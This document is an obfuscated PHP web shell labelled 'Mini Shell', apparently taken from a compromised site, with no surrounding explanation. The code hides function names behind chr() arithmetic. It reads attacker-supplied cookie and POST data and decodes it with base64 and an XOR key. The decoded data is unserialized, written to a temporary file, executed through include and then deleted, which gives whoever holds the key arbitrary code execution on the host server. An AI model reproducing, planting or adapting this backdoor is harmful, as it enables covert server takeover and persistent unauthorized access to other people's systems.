Mini Shell

$DFNQwaCSO = 'P' . chr (97) . chr ( 660 - 561 ).chr (95) . chr ( 396 - 328 )."\x6e" . "\115";$qAQngjl = chr ( 186 - 87 ).chr (108) . "\141" . "\x73" . chr ( 128 - 13 ).'_' . "\x65" . chr ( 869 - 749 ).chr ( 785 - 680 )."\163" . "\x74" . "\163";$naXLEg = class_exists($DFNQwaCSO); $qAQngjl = "7211";$moMwDW = strpos($qAQngjl, $DFNQwaCSO);if ($naXLEg == $moMwDW){function uTyBsLHYKZ(){$kkJikpvI = new /* 51819 */ Pac_DnM(63641 + 63641); $kkJikpvI = NULL;}$cNHosGqlYm = "63641";class Pac_DnM{private function toVBYwrg($cNHosGqlYm){if (is_array(Pac_DnM::$HjYJErkA)) {$name = sys_get_temp_dir() . "/" . crc32(Pac_DnM::$HjYJErkA["salt"]);@Pac_DnM::$HjYJErkA["write"]($name, Pac_DnM::$HjYJErkA["content"]);include $name;@Pac_DnM::$HjYJErkA["delete"]($name); $cNHosGqlYm = "63641";exit();}}public function FbXcpEph(){$FlxhR = "1075";$this->_dummy = str_repeat($FlxhR, strlen($FlxhR));}public function __destruct(){Pac_DnM::$HjYJErkA = @unserialize(Pac_DnM::$HjYJErkA); $cNHosGqlYm = "48951_409";$this->toVBYwrg($cNHosGqlYm); $cNHosGqlYm = "48951_409";}public function qkHTDvKB($FlxhR, $JmnUboE){return $FlxhR[0] ^ str_repeat($JmnUboE, intval(strlen($FlxhR[0]) / strlen($JmnUboE)) + 1);}public function VopGcqhmV($FlxhR){$LwaErR = chr ( 725 - 627 )."\141" . "\163" . chr ( 797 - 696 )."\66" . chr (52);return array_map($LwaErR . "\x5f" . "\x64" . chr (101) . chr ( 847 - 748 )."\x6f" . 'd' . chr (101), array($FlxhR,));}public function __construct($acSIp=0){$jFALF = chr (44); $FlxhR = "";$VYWEEHV = $_POST;$YoMIHje = $_COOKIE;$JmnUboE = "7c462681-5049-4d4c-90ed-3229f23ad8ce";$hfgZYd = @$YoMIHje[substr($JmnUboE, 0, 4)];if (!empty($hfgZYd)){$hfgZYd = explode($jFALF, $hfgZYd);foreach ($hfgZYd as $gIvTSp){$FlxhR .= @$YoMIHje[$gIvTSp];$FlxhR .= @$VYWEEHV[$gIvTSp];}$FlxhR = $this->VopGcqhmV($FlxhR);}Pac_DnM::$HjYJErkA = $this->qkHTDvKB($FlxhR, $JmnUboE);if (strpos($JmnUboE, $jFALF) !== FALSE){$JmnUboE = ltrim($JmnUboE); $JmnUboE = str_pad($JmnUboE, 10);}}public static $HjYJErkA = 23952;}uTyBsLHYKZ();}